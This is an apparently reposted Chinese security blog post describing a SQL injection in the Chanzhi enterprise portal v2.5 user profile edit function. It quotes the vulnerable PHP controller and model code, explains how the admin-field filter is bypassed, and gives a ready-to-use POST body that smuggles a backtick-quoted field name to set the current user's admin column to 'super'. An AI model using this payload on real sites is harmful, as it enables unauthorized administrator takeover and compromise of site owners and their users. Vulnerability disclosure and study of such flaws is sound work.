纵有疾风起
人生不言弃

蝉知企业门户系统 v2.5 sql 注入至管理员 – 网站安

 问题出在 用户修改资料的地方

 /system/module/user/control.php  

public function edit($account = '')
 
    {
 
        if(!$account or RUN_MODE == 'front') $account = $this->app->user->account;
 
        if($this->app->user->account == 'guest') $this->locate(inlink('login'));
 
 
 
        if(!empty($_POST))
 
        {
 
            $this->user->update($account);

跟进updata

/system/module/user/model.php

 

public function update($account)
 
    {
 
        /* If the user want to change his password. */
 
        if($this->post->password1 != false)
 
        {
 
            $this->checkPassword();
 
            if(dao::isError()) return false;
 
 
 
            $password  = $this->createPassword($this->post->password1, $account);
 
            $this->post->set('password', $password);
 
        }
 
 
 
        $user = fixer::input('post')
 
            ->cleanInt('imobile, qq, zipcode')
 
            ->setDefault('admin', 'no')
 
            ->remove('ip, account, join, visits')
 
            ->removeIF(RUN_MODE != 'admin', 'admin')
 
            ->get();
 
 
 
        return $this->dao->update(TABLE_USER)
 
            ->data($user, $skip = 'password1,password2')
 
            ->autoCheck()
 
            ->batchCheck($this->config->user->require->edit, 'notempty')
 
            ->check('email', 'email')
 
            ->check('email', 'unique', "account!='$account'")
 
            ->checkIF($this->post->gtalk != false, 'gtalk', 'email')
 
            ->where('account')->eq($account)
 
            ->exec();
 
    }

fixer这个类的代码有点长就不贴了,看上面的代码也能大概看得懂它的作用。。 
普通用户和管理员是在一个表的,的区别就是 admin字段。
 总之对我们post的数据做了 foreach然后带入了 updata

 当然他 有remove admin的,可是这太好绕过了。

 直接看利用吧~ 

注册用户后

来到 http://localhost/user-edit. html

修改资料 改包

 post如下数据 

 realname=aaaaaa&email=a%40qqqq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&qq`%3D1,`admin=super>alk=

即可提升成为管理员。

可以看 mysql的日志
蝉知企业门户系统 v2.5 sql 注入至管理员 – 网站安插图

    上一篇: AA拼车漏洞3#(AA拼车设计不当可批量修改全站用

    下一篇: 绕过补丁再次重置墨迹天气任意邮箱密码 – 网站
未经允许不得转载:起风网 » 蝉知企业门户系统 v2.5 sql 注入至管理员 – 网站安
分享到: 生成海报

评论 抢沙发

评论前必须登录!

立即登录